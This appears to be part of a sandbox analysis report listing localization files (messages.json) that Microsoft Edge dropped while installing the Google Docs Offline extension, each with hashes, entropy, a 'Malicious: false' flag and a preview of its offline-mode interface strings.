Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

